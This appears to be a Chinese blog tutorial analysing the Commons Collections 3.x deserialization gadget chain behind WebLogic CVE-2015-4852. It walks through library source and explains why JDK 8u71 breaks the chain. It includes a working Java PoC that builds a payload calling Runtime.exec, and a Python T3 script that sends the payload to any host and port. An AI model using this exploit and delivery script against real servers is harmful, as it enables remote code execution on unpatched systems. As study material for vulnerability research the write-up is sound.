教程 on 洛鹿松的小站

Apache-CC3.x链分析

Wed, 11 Jun 2025 00:13:01 +0800

前面我们了解了java的序列化机制，也初步接触了利用链的概念，为了加深对反序列化漏洞的理解，这里来复现一条存在于 apache commons-collections.jar 中的pop链，要知道这个类库使用广泛，所以很多大型的应用也存在着这个漏洞，这里就以 Weblogic CVE-2015-4852 来说说反序列化漏洞的具体利用方法。

漏洞利用成功条件

payload：需要让服务端执行的语句：比如说弹计算器还是执行远程访问等；
反序列化利用链：服务端中存在的反序列化利用链，会一层层剥开我们的exp，最后执行payload。(在此篇中就是cc利用链)
readObject() 函数的覆写利用点：服务端中存在可以与我们漏洞链相接并且可以从外部访问的 readObject() 函数覆写点；

攻击流程

客户端构造payload，并进行一层层的封装，完成最后的exp；
exp发送到服务端，进入一个服务端自主覆写(也可能是也有组件覆写)的readObject()函数，它会反序列化恢复我们构造的exp去形成一个恶意类exp_1；
这个恶意类exp_1在接下来的处理流程，会执行exp_1中的一个方法，在方法中会对exp_1的内容进行函数处理，从而一层层地解析exp_1变成exp_2、exp_3等；
最后在一个可执行任意命令的函数中执行payload，完成远程代码执行。

环境准备

Note

Java commons-collections是JDK 1.2中的一个主要新增部分。它添加了许多强大的数据结构，可以加速大多数重要Java应用程序的开发。从那时起，它已经成为Java中公认的集合处理标准。

PoC代码

package Step3;

import java.io.File;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.nio.file.Files;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


public class PoC1 {

    public static Object GeneratePayload() throws Exception {
        Transformer transformerChain = getTransformer();
        Map innermap = new HashMap();
        innermap.put("value", "re111");
        Map outmap = TransformedMap.decorate(innermap, null, transformerChain);

        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);  //通过setAccessible(true)的方式关闭安全检查
        return ctor.newInstance(Retention.class, outmap);
    }

    private static Transformer getTransformer() {
        final Transformer[] transforms = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"galculator"}),
                new ConstantTransformer(1)
        };
        return new ChainedTransformer(transforms);
    }

    public static void main(String[] args) throws Exception {
        String fileName = "./payload.bin";
        GeneratePayloadFile(GeneratePayload(), fileName);
        TriggerPayload(fileName);
    }

    public static void GeneratePayloadFile(Object instance, String file) throws Exception {
        File f = new File(file);
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(f.toPath()));
        out.writeObject(instance);
        out.flush();
        out.close();
    }

    public static void TriggerPayload(String file) throws Exception {

        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
        in.close();
    }
}

如果出现很多包缺失的报错，则需要导入 commons-collections-3.1.jar 包

IDEA菜单栏->文件->项目结构->库->添加->按路径添加jar包即可

Transformer 链构造

Commons Collections实现了一个TransformedMap类，该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时，自动对该元素进行特定的修饰变换，具体的变换逻辑由Transformer类定义，Transformer在TransformedMap实例化时作为参数传入。

org.apache.commons.collections.Transformer 这个接口可以满足固定的类型转化需求，我们的漏洞利用就是在于这个点。

我们在使用 Apache Commons Collections 库进行 Gadget 构造时主要利用的就是这个 transformer 接口，它只有一个待实现的方法 transform()。

package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

主要用于将一个对象通过 transform 方法转换为另一个对象，在库中众多对象转换的接口中存在一个 Invoker 类型的转换接口 InvokerTransformer，并且同时还实现了 Serializable 接口。

public class InvokerTransformer implements Transformer, Serializable {
    static final long serialVersionUID = -8653385846894047688L;
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }
}

可以看到 InvokerTransformer 类中实现的 transform() 接口使用 Java 反射机制获取反射对象 input 中的参数类型为 iParamTypes 的方法 iMethodName，然后使用对应参数 iArgs 调用获取的方法，并将执行结果返回。由于其实现了 Serializable 接口，因此其中的三个必要参数 iMethodName、iParamTypes 和 iArgs 都是可以通过序列化直接构造的，为命令执行创造了条件，但是只有这里的话显然并不能RCE。

继续看 ChainedTransformer

public class ChainedTransformer implements Transformer, Serializable {
    static final long serialVersionUID = 3514945074733160196L;
    private final Transformer[] iTransformers;

    ...

    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }
}

这里可以看出来是挨个遍历 transformer，调用ChainedTransformer 的 transform 方法然后返回object，返回的object继续进入循环，成为下一次调用的参数，所以我们可以通过这里来执行命令。

private static Transformer getTransformer() {
    final Transformer[] transforms = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"galculator"}),
            new ConstantTransformer(1)
    };
    return new ChainedTransformer(transforms);
}

这一链条构成了核心 payload 的代码执行链，每一步的具体含义。

步骤	说明
`ConstantTransformer(Runtime.class)`	初始返回 `java.lang.Runtime.class`
`getMethod("getRuntime", ...)`	调用反射获取 `Runtime.getRuntime()` 方法对象
`invoke(null, new Object[0])`	执行 `getRuntime()` 方法，返回 `Runtime.getRuntime()` 实例
`exec("galculator")`	执行命令 `galculator`（Linux 图形计算器）
`ConstantTransformer(1)`	后续调用无害的返回值，掩盖攻击目的

Tip

环境中不可能直接存在 Runtime.class，所以我们通过构造来产生。

ConstantTransformer 类初始化传入 this.iConstant 参数直接return，相当于this的作用。

public class ConstantTransformer implements Transformer, Serializable {
 static final long serialVersionUID = 6374440726369055124L;
 public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object) null);
 private final Object iConstant;

 public ConstantTransformer(Object constantToReturn) {
     this.iConstant = constantToReturn;
 }

 public Object transform(Object input) {
     return this.iConstant;
 }
}

向 ChainedTransformer 传入 transformers

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

然后构造的命令参数传入 InvokerTransformer

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

这里都会赋值,然后就会调用到

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}

经过反射达成如下效果，这条语句就是我们想要构建的核心 payload

Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")).exec("galculator");

Tip

执行 Class.forName("java.lang.Runtime").getMethod("getRuntime") 这部分语句，

也就是执行Runtime.class.getMethod("getRuntime")，获得Runtime的getRuntime方法定义。

由于上述是静态方法，所以invoke(Class.forName("java.lang.Runtime"))也可以写成invoke(null)，执行上述方法得到一个实例，然后用这个实例调用exec(“galculator”)弹出计算器

封装成Map

要想实现RCE还需要一个入口点，使得应用在反序列化的时候能够通过一条调用链来触发 InvokerTransformer 中的 transform() 方法，有两个类中使用了可疑的 transform() 方法： LazyMap 和 TransformedMap。

TransformedMap 中一共有三处函数使用了transform方法

当然，光是使用了transform这个方法还不行，我们还需要确认是使用了ChainedTransformer.transform()，我们看一下 this.valueTransformer 的类型

可以看到 this.valueTransformer 的类型是Transformer，所以在构造poc的时候只需要将他的值赋为我们精心构造的 ChainedTransformer 就行，这里只要 valueTransformer 可控即可利用上面的调用链

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}

当我们初始化的时候是可以控制的，怎么触发呢

checkSetValue() 方法可以办到这一点，它会将我们传入的value对象使用 transform() 方法进行处理

protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}

Caution

错误：当进入 put 方法的时候会触发valueTransformer的构造方法，也可以调用 transform() 方法

protected Object transformValue(Object object) {
 return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}

正确流程：我们构造的 TransformedMap 在 AnnotationInvocationHandler.readObject() 反序列化中对 Map.Entry.setValue() （或者说是内部类 TransformedMap$TransformedEntry 的setValue()方法，这个内部类的具体代码可以到transformedMap 的父类 AbstractInputCheckedMapDecorator 中寻找）进行了调用，这个set方法又调用了 transformedMap 的 checkSetValue() 方法，这个方法调用了关键的transform方法，然后打通了链子。

根据上面的调用链我们的 value 位置可以设定为任意值，因为反序列化过程中会触发 .setValue(...)，而不是读取初始的值。

现在的poc可以用TransformedMap的三个方法 transformKey 、transformValue 、checkSetValue 触发transform方法，但是这三个方法的访问权限都是protected，也就是不能直接被外部访问。

迂回一下，TransformedMap类中一共有三个方法访问权限是public

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

public Object put(Object key, Object value) {
    key = this.transformKey(key);
    value = this.transformValue(value);
    return this.getMap().put(key, value);
}

public void putAll(Map mapToCopy) {
    mapToCopy = this.transformMap(mapToCopy);
    this.getMap().putAll(mapToCopy);
}

可以看到put方法调用了transformKey以及transformValue,这两个方法又都调用了transform方法，所以我们可以通过调用修饰函数实例化一个TransforomedMap对象，然后调用对象的put方法将我们构造的链子传入，从而执行任意命令。

Map innermap = new HashMap();
innermap.put("value", "re111");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);

这样我们即可进行命令执行。

反序列化操作触发函数

jdk1.7-AnnotationInvocationHandler

但是在现实场景中，并没有人帮我们执行这个函数。所以我们现在要开始寻找，有没有哪个类，在它的 readObject() 逻辑中会触发这个动作（给Map新增元素）。

这个类就是 sun.reflect.annotation.AnnotationInvocationHandler，这是⼀个java的原生类。

这个函数在jdk1.7中，这也是为什么要求jdk1.7环境，高版本jdk不支持的原因在后面解答。

反编译的代码，看起来有点别扭。而且因为我本机是jdk1.8，所以这个类并不是我们真正想要的。

给大家推荐一个好的方式，就是去github上看，openjdk是开源的。github上还有版本管理，然后再给大家推荐一个网站，github1s，可以在线用vscode

https://github1s.com/openjdk/jdk/blob/jdk8-b40/jdk/src/share/classes/sun/reflect/annotation/AnnotationInvocationHan

我们先看这个类的构造函数

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    this.type = type;
    this.memberValues = memberValues;
}

我们看到，它可以接受一个Map来作为参数。

然后我们再看它的 readObject() 做了什么

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();


    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch (IllegalArgumentException e) {
        // Class is no longer an annotation type; all bets are off
        return;
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                    value instanceof ExceptionProxy)) {
                memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                                value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
            }
        }
    }
}

将 memberValues 转化成一个set，然后再迭代一下就又取出了一个Map叫做 memberValue。我们只要将这个 memberValue 设置为我们构造的一个 TransformedMap 对象，然后当它在后面执行 memberValue.setValue 时，就会触发我们注册的 Transformer，进而执行我们为其精心设计的任意代码。

内部类的调用

当我们想要直接new一个 sun.reflect.annotation.AnnotationInvocationHandler 对象时，发现了问题，因为这是一个内部类，导致我们无法直接访问，这个时候怎么办，还是用反射。

Map innermap = new HashMap();
innermap.put("value", "re111");  // key是"value"，这是注解方法名
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);//通过setAccessible(true)的方式关闭安全检查
return ctor.newInstance(Retention.class, outmap);

innermap.put 固定key值

这里明确需要明确一点

type = Retention.class 
memberValues = transformerdMap

我们的目的是触发对Map的写入操作，所以我们的目标是触发 memberValue.setValue 这条逻辑。所以此时，如果memberValues是一个空的map，那么这个for的遍历就不会执行，所以我们需要预先给Map进行值的插入。

但是要插入什么呢？

String name = memberValue.getKey(); //Map可控，所以key可控
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { //!要求在memberType中也有这个key
 ...
}

所以我们要了解 memberTypes 是怎么来的

AnnotationType annotationType = null;
        try {
annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; all bets are off
        return;
        }

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

查看 AnnotationType.class

public class AnnotationType {
    /*
     ...
     ...
     ...
     */
    public static synchronized AnnotationType getInstance(
            Class<? extends Annotation> annotationClass) {
        AnnotationType result = sun.misc.SharedSecrets.getJavaLangAccess().
                getAnnotationType(annotationClass);
        if (result == null)
            result = new AnnotationType((Class<? extends Annotation>) annotationClass);

        return result;
    }

    private AnnotationType(final Class<? extends Annotation> annotationClass) {
        if (!annotationClass.isAnnotation())
            throw new IllegalArgumentException("Not an annotation type");

        Method[] methods =
                AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
                    public Method[] run() {
                        // Initialize memberTypes and defaultValues
                        return annotationClass.getDeclaredMethods();
                    }
                });


        for (Method method : methods) {
            if (method.getParameterTypes().length != 0)
                throw new IllegalArgumentException(method + " has params");
            String name = method.getName();
            Class<?> type = method.getReturnType();
            memberTypes.put(name, invocationHandlerReturnType(type));
            members.put(name, method);

            Object defaultValue = method.getDefaultValue();
            if (defaultValue != null)
                memberDefaults.put(name, defaultValue);

            members.put(name, method);
        }

        sun.misc.SharedSecrets.getJavaLangAccess().
                setAnnotationType(annotationClass, this);

        // Initialize retention, & inherited fields.  Special treatment
        // of the corresponding annotation types breaks infinite recursion.
        if (annotationClass != Retention.class &&
                annotationClass != Inherited.class) {
            Retention ret = annotationClass.getAnnotation(Retention.class);
            retention = (ret == null ? RetentionPolicy.CLASS : ret.value());
            inherited = annotationClass.isAnnotationPresent(Inherited.class);
        }
    }
    /*
     ...
     ...
     ...
     */
}

注意到这里有一句

if (!annotationClass.isAnnotation())
            throw new IllegalArgumentException("Not an annotation type");

就是检查输入的参数是不是一个注解类，如果不是就会报错。

所以这里要求第一个参数必须是一个注解类。然后

        Method[] methods =
                AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
                    public Method[] run() {
                        // Initialize memberTypes and defaultValues
                        return annotationClass.getDeclaredMethods();
                    }
                });


        for (Method method : methods) {
            if (method.getParameterTypes().length != 0)
                throw new IllegalArgumentException(method + " has params");
            String name = method.getName();
            Class<?> type = method.getReturnType();
            memberTypes.put(name, invocationHandlerReturnType(type));

这里会通过反射的方式，获取该注解类所有的方法，然后再将所有的方法名塞给memberTypes这个Map

而我们这里要获取的就是memberTypes

所以我们的需求就变成了，对于 sun.reflect.annotation.AnnotationInvocationHandler 这个类的构造函数

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    this.type = type;
    this.memberValues = memberValues;
}

需要找到一个参数type，满足

Tip

是一个类对象
该类是一个注解类
该类至少存在一个方法(记作 methodData)

然后我们控制参数 memberValues，让它满足

存在一个键值对，其 key 等于 methodData

我们找到了 Retention 类，它是一个注解类，有一个方法叫做 value

符合要求的类还有很多，比如 Repeatable、Target 等等。

t3协议发送payload弹计算器

#!/usr/bin/python3
import socket
import sys
import struct

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server_address = (sys.argv[1], int(sys.argv[2]))
print('connecting to %s port %s' % server_address)
sock.connect(server_address)

# Send headers
headers = 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
print('sending "%s"' % headers)
sock.sendall(headers.encode())

data = sock.recv(1024)
print('received "%s"' % data.decode(), file=sys.stderr)

payloadObj = open(sys.argv[3], 'rb').read()

payload = b'\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
payload = payload + payloadObj
payload = payload + b'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'

# adjust header for appropriate message length
payload = struct.pack('!i', len(payload)) + payload[4:]

print('sending payload...')
sock.send(payload)

执行命令

python weblogic-t3-p3.py <ip> <port> <payloadFile>

调试分析验证

在 AnnotationInvocationHandler 类中 readObject() 方法下断点调试。

调用链

Gadget chain:
    ObjectInputStream.readObject()
      └── AnnotationInvocationHandler.readObject()
            └── AbstractInputCheckedMapDecorator$MapEntry.setValue()
                  └── TransformedMap.checkSetValue()
                        └── ChainedTransformer.transform()
                              ├── ConstantTransformer.transform()
                              ├── InvokerTransformer.transform()
                                    └── Method.invoke() → Class.getMethod()
                              ├── InvokerTransformer.transform()
                                    └── Method.invoke() → Runtime.getRuntime()
                              └── InvokerTransformer.transform()
                                    └── Method.invoke() → Runtime.exec()

Requires:
    commons-collections <= 3.2.1

readObject()走到setValue()

下面是之前谈到的 readObject() 方法反编译的代码，我们用这个再进行一次分析

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Map.Entry var5 = (Map.Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }
}

核心函数是Map对象var5触发setValue(),为了能走到这个分支需要条件1和2

var7 != null
!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)

var7需要是个类，并且和var8的类型不相同。 var7通过var3获取到值，具体获取什么的key由 var5(var4) 的Map对象决定的，可以通过类初始化传入(可控)。 var8是通过可控 var5(var4) 的Map对象值决定的，条件2容易过故不展开研究。现在 var3.get(var6) key我们可控，现在需要Map类型var3，它是由 AnnotationType.getInstance(this.type) 类型传入的也是类初始化传入(可控)，AnnotationType 对@Target这个注解的处理，getInstance会获取到@Target的基本信息，找一个有Target注解的类即可，PoC找的就是java.lang.annotation.Retention，到这条件1也达成了。

走到transform()

TransformedMap类继承了 AbstractInputCheckedMapDecorator，存在 setValue() 方法

public Object setValue(Object value) {
    value = this.parent.checkSetValue(value);
    return super.entry.setValue(value);
}

最后通过TransformedMap的checkSetValue()到了我们想要的transform()方法

protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}

transform()到RCE

利用链成立，分析正确。

jdk1.8为什么不行

其实上面的poc在Java 7的低版本(只测试了7u80，没有具体版本号)、8u71之前都是可以使用的，在Java 8u71之后代码发生了变动。

那么为什么不行呢，看一下jdk8里面的sun.reflect.annotation.AnnotationInvocationHandler readObject复写点

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get("type", (Object)null);
        Map var4 = (Map)var2.get("memberValues", (Object)null);
        AnnotationType var5 = null;

        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();

        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Entry var9 = (Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                    //没有了map赋值语句，伤心
                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
                }
            }
        }
        ...
}

因为这个函数出现了变动，不再有针对我们构造的map的赋值语句，所以触发不了漏洞。

而是改成了新建一个LinkedHashMap，把值转到这个LinkedHashMap里。

如何取消显示Windows聚焦在桌面上生成的“了解此图片”图标

Thu, 06 Mar 2025 15:54:40 +0800

前言

将个性化背景更换为“Windows聚焦”模式的时候，会在桌面多出一个“了解此图片”的图标

